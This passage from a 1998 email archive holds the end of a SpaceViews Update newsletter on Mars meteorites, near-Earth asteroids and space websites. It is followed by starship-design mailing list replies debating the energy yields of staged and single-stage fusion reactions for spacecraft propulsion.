the Hawaii Institute of of Geophysics and Planetology. John Bradley, an adjunct professor at Georgia Tech who published a separate paper arguing against life in ALH84001 last month, was more blunt. ""I do not know of a single other individual who believes it at this point,"" he said. Still, the announcement, even if incorrect, has focused the attention of the planetary science community on the possibilities of Martian life, and raised awareness in the nascent field of astrobiology. ""More scientists than ever before are studying Martian meteorites for clues to past conditions on Mars,"" said Scott. The reports are also coming out as the founding convention of the Mars Society takes place in Boulder, Colorado. Everett Gibson, a member of the NASA/JSC team that first announced evidence of past life in the meteorite, was scheduled to speak at the conference. Two Earth-Crossing Asteroids Discovered A JPL telescope project designed to search for near-Earth objects has discovered two asteroids whose orbits cross that of the Earth, but astronomers emphasized that these asteroids pose no threat to the planet for at least several decades. The two asteroids, designed 1998 OH and 198 OR2, are notable because of their size. Each is estimated to be 1-3 km (0.6-1.8 mi.) in diameter, enough to cause serious global effects if one struck the Earth. They join about 125 other ""potentially hazardous objects"", sizable asteroids whose orbits take them near the Earth. Neither asteroid is expected to pose any threat to Earth for the foreseeable future, although follow-up observations will be made to accurately determine their orbits. With current data, they know that one of the asteroids, 1998 OH, can come no closer than 5 million kilometers (3 million miles) to the Earth. The asteroids were discovered using the Near Earth Asteroid Tracking (NEAT) telescope, an automated 1-meter (39-inch) telescope located on the summit of Haleakala, the tallest mountain on the Hawaiian island of Maui. ""Our goal is to discover and track all the potentially dangerous asteroids and comets long before they are likely to approach Earth,"" said NEAT Principal Investigator Eleanor Helin, a JPL astronomer. ""The discovery of these two asteroids illustrates how NEAT is doing precisely what it is supposed to do."" The discovery came after the NEAT telescope was upgraded last month. ""Our upgraded equipment has speeded up the data processing allowing us to analyze up to 40 gigabytes of data each night, equivalent to 1,200 images of the sky,"" said project manager Steven Pravdo. ""This shows that our efforts to find near-Earth objects are paying off."" *** CyberSpace *** The Mars Society The Mars Society is a new organization dedicated to the exploration and eventual settlement of Mars, through public outreach, support of government-funded exploration, and future private exploration. The organization's Web site features information on the upcoming founding convention of the society, taking place in August in Boulder, Colorado. There's also an online e-zine, ""New Mars"", and bulletins on related topics, including efforts to get more funding for future Mars missions. http://www.marssociety.org/ Science@NASA As you might expect, the research performed by NASA scientists spans a wide range of fields. Science@NASA, a Web site by the Marshall Space Flight Center (the same people who have provided previous winners on space weather and microgravity), showcases some current science research, from space science to materials science to Earth observations. The creators of this site have done a great job explaining current research in an interactive and interesting format, so that a visitor doesn't need much background to understand the work presented here and why it is important. http://science.nasa.gov/ go-Ariane If you're looking for information on European space activities, from ESA to private aerospace firms, check out go-Ariane. This site has updated news on ESA, Ariane launches, and related topics, schedules of upcoming launches, historical and technical information, and more. Go-Ariane is one of the leading online resources for European space information. http://www.go-ariane.com/ SETI@home Interested in contributing to the search for extraterrestrial intelligence (SETI)? If you have a PC, consider contributing to SETI@home, a project to help reduce the massive amounts of data collected by SETI observing projects. A screensaver, running at your computer while you're not using it, will help analyze sections of data collected. The software is in the final stages of development, so be sure to check out the Web site for more information about the project and sign up to receive further information as the project gets underway. http://setiathome.ssl.berkeley.edu/ CD-ROM Review: ""Russians in Space"" by The Ultimax Group by Jeff Foust CD-ROMs with information about the American space program are relatively plentiful, but those with information about Soviet and Russian efforts are much more difficult to find. ""Russians in Space"", a Russian CD-ROM translated into English for sale in the United States, helps fill this gap with a multimedia exploration of Russian and Soviet space history. The CD-ROM is divided into four sections: people, programs, technology, and basics. Each sections includes useful written content in addition to photos and videos. It's the photos and videos that really make this CD-ROM, as they provide imagery not readily available elsewhere for the average space enthusiast, from the launch of an Energia-Buran to a map of the Plesetsk Cosmodrome. The content seems a little hit-and-miss, though: the cosmonauts section includes information on Gagarin and Tereshkova but not Leonov or any of the modern Mir cosmonauts. Some of the section descriptions seem to have suffered a little in the translation from Russian: the ""Personalia"" (people) section includes section titles ""Those Who Made Rockets Fly"" and ""They Taught Rockets to Fly"". The former is about rocket designers and the latter about cosmonauts, although it's not readily obvious. Overall, ""Russians in Space"" is a good overview of the history of Russian space efforts. The collection of photos, videos, and other information will make this a useful resource for those seeking to learn more about Russian space programs. ""Russians in Space"" is a hybrid PC/Mac CD-ROM. It can run on PCs with Windows 3.1, 95/98, and NT and requires a 386SX or faster processor, 4MB RAM (8MB recommended), a 2x or faster CD-ROM drive, SVGA graphic card (640x480 with 256 colors or better), and an MPC-compliant sound card. It can run on Macs with System 7.0 or later with a 68030 or faster processor, 4MB RAM (8MB recommended), a 2x or faster CD-ROM, and at least a 256-color display. See http://www.catalog.com/ultimax for more information. The cost is $29.95 plus shipping and handling, with 10% discounts for members of some organizations, including the NSS and The Planetary Society. *** Space Capsules *** SpaceViews Event Horizon August 13-16: Mars Society Founding Convention, Boulder, Colorado August 15: Soyuz TM-28 docks with Mir August 15: Deadline to submit names to be included on the Stardust spacecraft August 24: Delta 3 inaugural launch of the Galaxy 10 satellite from Cape Canaveral, Florida August 25: Ariane 4 launch of the ST-1 satellite from Kourou, French Guiana August 25: Proton launch of the Astra-2A satellite from Baikonur, Kazakhstan October 9-11: Space Frontier Foundation Conference, Los Angeles, California October 29: Launch of shuttle on mission STS-95 (John Glenn flight) Other News NSS Demands Station Changes: As words leaks out of yet more delays in the International Space Station project, the National Space Society is calling for changes in how the project in managed. In a special section of its Web site, the NSS laid out a five-part plan that calls for a decision to remove or keep the Russians in the project, commercialization of the station, and greater interest and involvement by the Clinton Administration. More information and a petition are available at http://www.nss.org/alerts/iss/home.html Cerf Named JPL Visiting Scientist: A computer scientist that has advocated the growth of the Internet throughout the solar system was named as a Distinguished Visiting Scientist at the Jet Propulsion Laboratory Tuesday, August 4. Vint Cerf, a vice president at the telecommunications giant MCI and co-developer of the TCP/IP protocol used to convey Internet traffic, will work with JPL scientists and engineers and other industry experts to develop new protocols for handling communications among spacecraft. ""It took 20 years for the Internet to take-off here on Earth,"" he said. ""It's my guess that in the next 20 years, we will want to interact with systems and people visiting the Moon, Mars and possibly other celestial bodies."" Stardust Passes One Million Names Mark: More that one million names have been submitted to fly on the Stardust comet sample return mission, the National Space Society reported Thursday, August 6. The names will be etched onto one of two microchips that will be attached to the Stardust spacecraft, scheduled for launch early next year. The spacecraft will fly by the comet Wild-2, collecting samples of cometary particles that will be returned to Earth in 2006. The original signup effort garnered 136,000 signatures last fall. The second microchip was added in a promotion with the NSS in the spring in conjunction with the release of the Paramount and Dreamworks Pictures movie Deep Impact. The deadline for adding names was August 15. New Mars Meteorite Found: Scientists reported last month that they had found a new Mars meteorite, the thirteenth such object found on Earth. The meteorite, found in the Sahara Desert and owned by a private collector, weights 2 kg (4.4 lbs.) and is thought to be a shergotite, the most common class of Mars meteorites. The meteorite is the first Martian once discovered since 1994 and the first discovered outside Antarctica since 1962. Canadian Space Telescope: The Canadian Space Agency is moving forward with plans to build the world's smallest space telescope, the agency announced August 5. The Microvariability and Oscillations of Stars (MOST) project will feature a 50 kg (110 lbs.) satellite with an telescope no bigger than a pie plate to measure rapid oscillations in stars, providing clues to their interior structure and ages. The CSA is providing C$4 million (US$2.6 million) for project, which includes participants from Canada and the United States. Media Watch: John Glenn is on the cover of the August 17 issue of Time magazine. The cover asks if Glenn's upcoming flight is a ""gimmick"", but concludes, ""No, a timely reminder that we can still have beroes.""... The September issue of Discover magazine, just hitting newsstands now, features a cover story on ""What Should We Do With The Moon?"" The article goes over a wide range of possibilities, from industry to tourism, and includes quotes from a wide range of people, from NASA moon advocate Wendell Mendell to Artemis Society head Greg Bennett... What does astronaut Cady Coleman have in common with Bill Cosby, Boston Celtics head coach Rick Pitino, and CEOs of several major corporations? All are graduates of the University of Massachusetts and all promote their alma mater in a radio ad playing on New England radio stations... ============= This has been the August 15, 1998, issue of SpaceViews Update. SpaceViews Update is also available on the World Wide web from the SpaceViews home page: http://www.spaceviews.com/ or via anonymous FTP from ftp.seds.org: /pub/info/newsletters/spaceviews/update/980815.txt For editorial questions and article submissions for SpaceViews or Spaceviews Update, contact the editor, Jeff Foust, at jeff@spaceviews.com/ For questions about the SpaceViews mailing list, please contact spaceviews-approval@ari.net. --------------------------------------------------------------------------- ____ | ""SpaceViews"" (tm) -by Boston Chapter // \\ // | of the National Space Society (NSS) // (O) // | Dedicated to the establishment // \\___// | of a spacefaring civilization. --------------------------------------------------------------------------- >From VM Tue Aug 18 07:44:18 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1503"" ""Mon"" ""17"" ""August"" ""1998"" ""20:12:01"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""46"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1503 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA24340 for starship-design-outgoing; Mon, 17 Aug 1998 18:18:04 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA24321 for ; Mon, 17 Aug 1998 18:18:01 -0700 (PDT) Received: from lparker (p286.gnt.com [204.49.91.46]) by hurricane.gnt.net (8.9.0/8.9.0) with SMTP id UAA26775; Mon, 17 Aug 1998 20:17:54 -0500 Message-ID: <000501bdca45$348dbbe0$e45931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal In-Reply-To: <3.0.1.32.19980817140212.007b0100@pop.xs4all.nl> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Timothy van der Linden"" Cc: ""Starship Design"" Subject: RE: starship-design: Staged Fusion Power Date: Mon, 17 Aug 1998 20:12:01 -0500 Timothy, You seem to have chosen a reaction that is rather poor in terms of energy produced for this comparison. Perhaps you would like to illustrate the same relationship using something like He3 and Li6? Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Timothy van der Linden Sent: Monday, August 17, 1998 8:02 AM To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Staged Fusion Power Hi Nels, Multistaged fusion all the way up to iron should be theoretically possible, but the yield isn't spectacular more than a well chosen single stage: Take: ( I) 1 (2H) + 2 (3He) -> 1 (4He) + 1 (1H) + 18.4 MeV (II) 24 (2H) + 2 (3H) -> 1 (54)Fe + 401.4 MeV 24 (2H) means 24 atoms of Hydrogen, where the Hydrogen has atomic mass 2. Reaction (I) is the most efficient single fusion reaction. Reaction (II) is the short-circuit of the multi stage fusion. The input mass of reaction (I) is 1*2 + 2*3 = 5 The input mass of reaction (II) is 24*2 + 2*3 = 54 So we can repeat reaction (I) 54/5=10.8 times before we've used the same amount of mass as needed for reaction (II). Doing reaction (I) 10.8 times will yield: 10.8*18.4=198.7 MeV So fusing all the way to Iron has a yield (401.4/198.7)=2 times better than fusing merely to light elements. So, all the trouble (eg. higher fusion temperature, unwanted fusion ractions) for a two times higher yield, is likely not worth it. Timothy >From VM Tue Aug 18 13:27:47 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1957"" ""Tue"" ""18"" ""August"" ""1998"" ""21:15:52"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""52"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1957 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA23712 for starship-design-outgoing; Tue, 18 Aug 1998 13:16:39 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA23691 for ; Tue, 18 Aug 1998 13:16:31 -0700 (PDT) Received: from tim (dc2-modem2187.dial.xs4all.nl [194.109.136.139]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id WAA24256 for ; Tue, 18 Aug 1998 22:16:25 +0200 (CEST) Message-Id: <3.0.1.32.19980818211552.007a4e40@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <000501bdca45$348dbbe0$e45931cc@lparker> References: <3.0.1.32.19980817140212.007b0100@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Staged Fusion Power Date: Tue, 18 Aug 1998 21:15:52 +0100 Hello Lee, You requested: >You seem to have chosen a reaction that is rather poor in terms of energy >produced for this comparison. Perhaps you would like to illustrate the same >relationship using something like He3 and Li6? BTW. I just discovered to have made a typo in my last letter, which luckely did not continue in the calculations. I originally wrote: ( I) 1 (2H) + 2 (3He) -> 1 (4He) + 1 (1H) + 18.4 MeV But instead of 2 helium cores one needs only 1. Here the correct version: ( I) 1 (2H) + 1 (3He) -> 1 (4He) + 1 (1H) + 18.4 MeV ------ Here's an example as closely to your choice: - I've switched to the apparently more conventional notation. - I don't know what the result of fusing He3 and Li6 will be. The simplest result would be B9 which is highly unstable (doesn't appear in my table), H1 + Be8 isn't ideal either because Be8 is also very unstable. So let me modify your which into He4 + Li6 -> B10 (III) 1 (He4) + 1 (Li6) -> 1 (B10) + 4.5 MeV The initial weight is 4+6=10, so one can do reaction (III) 54/10=5.4 times before one has used the same weight as reaction (II) Doing reaction (III) 5.4 times will yield: 5.4*4.5MeV=24.3MeV In this case fusing all the way to Iron would have given a 401.4/24.3=16.5 times higher yield. So you may conclude that multi-stage fusion may be worth the effort. I can even think of a multitude of reactions that have much lower yields per unit of weight and which thus would show to be over 100 times worse than fusing all the way to Iron. But this approach is not very useful. We are trying to optimize ""ease"" and ""yield per unit weight"". He4+Li6 is harder to fuse than H2+He3 AND has a lower yield per unit of weight, thus two reasons for it being a bad choice. My H2+He3 was one of the best choices according to the mentioned criteria. I think there is no point in trying to find a worst case scenario. If you feel this is not correct, don't hesitate to comment. Timothy >From VM Tue Aug 18 15:12:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1881"" ""Tue"" ""18"" ""August"" ""1998"" ""17:01:57"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""38"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1881 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA05576 for starship-design-outgoing; Tue, 18 Aug 1998 15:02:38 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA05569 for ; Tue, 18 Aug 1998 15:02:35 -0700 (PDT) Received: from lparker (p224.gnt.com [204.49.89.224]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id RAA30687; Tue, 18 Aug 1998 17:02:25 -0500 Message-ID: <000001bdcaf3$d1d801e0$e05931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <3.0.1.32.19980818211552.007a4e40@pop.xs4all.nl> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Timothy van der Linden"" Cc: ""Starship Design"" Subject: RE: starship-design: Staged Fusion Power Date: Tue, 18 Aug 1998 17:01:57 -0500 Hi Timothy, Try this table: Table I: Fusion Reactions Among Various Light Elements D+D -> T (1.01 MeV) + p (3.02 MeV) (50%) -> He3 (0.82 MeV) + n (2.45 MeV) (50%) <- most abundant fuel -> He4 + about 20 MeV of gamma rays (about 0.0001%; depends somewhat on temperature.) (most other low-probability branches are omitted below) D+T -> He4 (3.5 MeV) + n (14.1 MeV) <-easiest to achieve D+He3 -> He4 (3.6 MeV) + p (14.7 MeV) <-easiest aneutronic reaction ""aneutronic"" is explained below. T+T -> He4 + 2n + 11.3 MeVHe3+T -> He4 + p + n + 12.1 MeV (51%) -> He4 (4.8) + D (9.5) (43%) -> He4 (0.5) + n (1.9) + p (11.9) (6%) <- via He5 decay p+Li6 -> He4 (1.7) + He3 (2.3) <- another aneutronic reaction p+Li7 -> 2 He4 + 17.3 MeV (20%) -> Be7 + n -1.6 MeV (80%) <- endothermic, not good. D+Li6 -> 2He4 + 22.4 MeV <- also aneutronic, but you get D-D reactions too. p+B11 -> 3 He4 + 8.7 MeV <- harder to do, but more energy than p+Li6 n+Li6 -> He4 (2.1) + T (2.7) <- this can convert n's to T's n+Li7 -> He4 + T + n - some energy As you can see from the table D+He3 is a good candidate for the second stage if you use D+D as the first stage and then somehow manage to fuse the He3 produced before it can escape. Of course you also have to worry about neutrons from the D+D reaction. Too bad we can't use the gamma rays produced in the D+D reaction though... As you said, your notation is a little different but it is understandable. Where did you get the 18.4 MeV though? Notice that most of the reactions in this table produce He4 as a by-product. My first choice would be a straight single stage D+Li6 or p+B11 using antimatter catalysis or muon catalysis to start the reaction. Lee >From VM Wed Aug 19 12:49:58 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3270"" ""Wed"" ""19"" ""August"" ""1998"" ""13:53:41"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""66"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 3270 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id MAA08321 for starship-design-outgoing; Wed, 19 Aug 1998 12:16:43 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id MAA08290 for ; Wed, 19 Aug 1998 12:16:40 -0700 (PDT) Received: from tim (dc2-modem2184.dial.xs4all.nl [194.109.136.136]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id VAA04500 for ; Wed, 19 Aug 1998 21:16:36 +0200 (CEST) Message-Id: <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <000001bdcaf3$d1d801e0$e05931cc@lparker> References: <3.0.1.32.19980818211552.007a4e40@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Staged Fusion Power Date: Wed, 19 Aug 1998 13:53:41 +0100 Hello again Lee, >Table I: Fusion Reactions Among Various Light Elements >D+D -> T (1.01 MeV) + p (3.02 MeV) (50%) > -> He3 (0.82 MeV) + n (2.45 MeV) (50%) <- most abundant fuel > -> He4 + about 20 MeV of gamma rays (about 0.0001%; depends > somewhat on temperature.) > (most other low-probability branches are omitted below) >D+T -> He4 (3.5 MeV) + n (14.1 MeV) <-easiest to achieve >D+He3 -> He4 (3.6 MeV) + p (14.7 MeV) <-easiest aneutronic reaction > ""aneutronic"" is explained below. >T+T -> He4 + 2n + 11.3 MeVHe3+T -> He4 + p + n + 12.1 MeV (51%) > -> He4 (4.8) + D (9.5) (43%) > -> He4 (0.5) + n (1.9) + p (11.9) (6%) <- via He5 decay > >p+Li6 -> He4 (1.7) + He3 (2.3) <- another aneutronic reaction >p+Li7 -> 2 He4 + 17.3 MeV (20%) > -> Be7 + n -1.6 MeV (80%) <- endothermic, not good. >D+Li6 -> 2He4 + 22.4 MeV <- also aneutronic, but you > get D-D reactions too. >p+B11 -> 3 He4 + 8.7 MeV <- harder to do, but more energy than p+Li6 >n+Li6 -> He4 (2.1) + T (2.7) <- this can convert n's to T's >n+Li7 -> He4 + T + n - some energy > >As you can see from the table D+He3 is a good candidate for the second stage >if you use D+D as the first stage and then somehow manage to fuse the He3 >produced before it can escape. Of course you also have to worry about >neutrons from the D+D reaction. The first stage D+D->He3+n+3.27MeV does not really add a lot of energy relative to 18.3MeV and as you mention it has a neutron as reaction product which may disturb the second stage so much that the second stage reaction isn't as efficient anymore. (Maybe even more than 3.27MeV less efficient.) I wonder why our tables don't show p+D->He3+5.5MeV it looks like an excellent candidate to be followed by a second stage (as do all single end-product reactions). If this is a valid reaction, it may be followed by my D+He3->He4+p+18.4MeV that would give a yield of 4.78MeV per nucleon. (Fusing upto Fe54 starting with H2 and H3 will give a yield of 7.43MeV per nucleon.) But again I'm not sure if a second stage is as ""easy"" as we hope, it still is very far away from the current fusion technology. >Too bad we can't use the gamma rays produced in the D+D reaction though... What would you use them for? >As you said, your notation is a little different but it is understandable. >Where did you get the 18.4 MeV though? D+He3 -> He4 (3.6 MeV) + p (14.7 MeV) 3.6+14.7=18.3MeV My 18.4MeV is actually 18.35MeV, so the difference is likely due to rounding errors. >Notice that most of the reactions in this table produce He4 as a by-product. >My first choice would be a straight single stage D+Li6 or p+B11 using >antimatter catalysis or muon catalysis to start the reaction. p+B11 would be better since it doesn't have D+D reactions as D+Li6 has. And a bonus is that both p and B11 are abundant in nature, while D and Li6 are harder to find. The only disadvantage is that it only yields 8.7MeV while its reaction materials consist of already 12 nuclei in total. (0.725MeV per nucleon) I wonder if a second stage reaction could significantly increase this. Regards, Timothy >From VM Wed Aug 19 13:24:13 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1717"" ""Wed"" ""19"" ""August"" ""1998"" ""13:17:15"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""37"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1717 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA05216 for starship-design-outgoing; Wed, 19 Aug 1998 13:17:11 -0700 (PDT) Received: from hexadecimal.uoregon.edu (hexadecimal.uoregon.edu [128.223.32.56]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA05184 for ; Wed, 19 Aug 1998 13:17:08 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [204.214.99.68]) by hexadecimal.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA13174; Wed, 19 Aug 1998 13:16:38 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.8.8/8.8.8) id NAA01733; Wed, 19 Aug 1998 13:17:16 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13787.13003.131985.67392@tzadkiel.efn.org> In-Reply-To: <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> References: <3.0.1.32.19980818211552.007a4e40@pop.xs4all.nl> <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> X-Mailer: VM 6.61 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: Timothy van der Linden Cc: starship-design@lists.uoregon.edu Subject: RE: starship-design: Staged Fusion Power Date: Wed, 19 Aug 1998 13:17:15 -0700 (PDT) Timothy van der Linden writes: > Hello again Lee, > > >Too bad we can't use the gamma rays produced in the D+D reaction though... > > What would you use them for? Raw energy, of course. Gamma rays are high-energy photons. My brief thoughts on the whole fusion power thing are: Any fusion drive that depends on uncommon elements or isotopes probably implies that the fuel has to be gathered ahead of time and stored on board. Deuterium, tritium, helium-3, and so on are not easy to come by and take significant time and energy to refine out of a planetary atmosphere or ocean or the interstellar medium. The main reason such isotopes are considered for fusion power plants on Earth is that the lower cost of fusing them looks attractive even compared to the cost of refining them out of seawater. For spacecraft fuel I really believe that becomes a significant disadvantage. I think the only mitigating factor is that it might not be too expensive to synthesize the uncommon isotopes from the far more abundant common isotopes in order to be able to run the fusion reactor with lower temperatures. I also don't know where you got the fusion reaction that produces iron directly from a bunch of hydrogen and helium, unless it's the abbreviation of a whole bunch of intermediate reactions. If it's possible, it's really darn unlikely to be able to do it all in one step. I could see running a fusion reactor that would allow for a few stages (say fusing from hydrogen up to relatively light stuff like carbon and oxygen). Isn't the most common fusion reaction in the universe the carbon cycle that fuses hydrogen with carbon to produce an unstable nitrogen isotope that decays back into carbon again? >From VM Wed Aug 19 14:28:16 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1975"" ""Wed"" ""19"" ""August"" ""1998"" ""16:19:19"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""51"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1975 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA00113 for starship-design-outgoing; Wed, 19 Aug 1998 14:20:28 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA00091 for ; Wed, 19 Aug 1998 14:20:25 -0700 (PDT) Received: from lparker (p196.gnt.com [204.49.89.196]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id QAA18941; Wed, 19 Aug 1998 16:20:12 -0500 Message-ID: <000101bdcbb7$079b16a0$e05931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Timothy van der Linden"" Cc: ""Starship Design"" Subject: RE: starship-design: Staged Fusion Power Date: Wed, 19 Aug 1998 16:19:19 -0500 Timothy, > The first stage D+D->He3+n+3.27MeV does not really add a lot of energy > relative to 18.3MeV and as you mention it has a neutron as reaction product > which may disturb the second stage so much that the second stage reaction > isn't as efficient anymore. (Maybe even more than 3.27MeV less efficient.) Probably much less. > I wonder why our tables don't show p+D->He3+5.5MeV it looks like an > excellent candidate to be followed by a second stage (as do all single > end-product reactions). If this is a valid reaction, it may be followed by > my D+He3->He4+p+18.4MeV that would give a yield of 4.78MeV per nucleon. > (Fusing upto Fe54 starting with H2 and H3 will give a yield of 7.43MeV per > nucleon.) > But again I'm not sure if a second stage is as ""easy"" as we hope, it still > is very far away from the current fusion technology. >>Too bad we can't use the gamma rays produced in the D+D reaction though... > What would you use them for? Well, I just hate to see 20 MeV go to waste! >>As you said, your notation is a little different but it is understandable. >>Where did you get the 18.4 MeV though? > D+He3 -> He4 (3.6 MeV) + p (14.7 MeV) > 3.6+14.7=18.3MeV My 18.4MeV is actually 18.35MeV, so the difference is > likely due to rounding errors. Umm, I don't think the 3.6 MeV is usable, that is potential energy bound up in the He4. > p+B11 would be better since it doesn't have D+D reactions as D+Li6 has. And > a bonus is that both p and B11 are abundant in nature, while D and Li6 are > harder to find. The only disadvantage is that it only yields 8.7MeV while > its reaction materials consist of already 12 nuclei in total. (0.725MeV > per nucleon) > I wonder if a second stage reaction could significantly increase this. Li6 is common as mud on the back side of the moon. The D+D reactions are very dependent upon temperature. If the D+Li6 reaction is hot enough there are virtually no D+D reactions and hence very few neutrons. Lee >From VM Wed Aug 19 14:37:38 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1605"" ""Wed"" ""19"" ""August"" ""1998"" ""16:29:42"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""36"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1605 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA05607 for starship-design-outgoing; Wed, 19 Aug 1998 14:30:50 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA05600 for ; Wed, 19 Aug 1998 14:30:47 -0700 (PDT) Received: from lparker (p196.gnt.com [204.49.89.196]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id QAA20016; Wed, 19 Aug 1998 16:30:31 -0500 Message-ID: <000201bdcbb8$7b26c000$e05931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <13787.13003.131985.67392@tzadkiel.efn.org> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Steve VanDevender"" Cc: ""Starship Design"" Subject: RE: starship-design: Staged Fusion Power Date: Wed, 19 Aug 1998 16:29:42 -0500 Steve and Timothy, > > What would you use them for? > > Raw energy, of course. Gamma rays are high-energy photons. 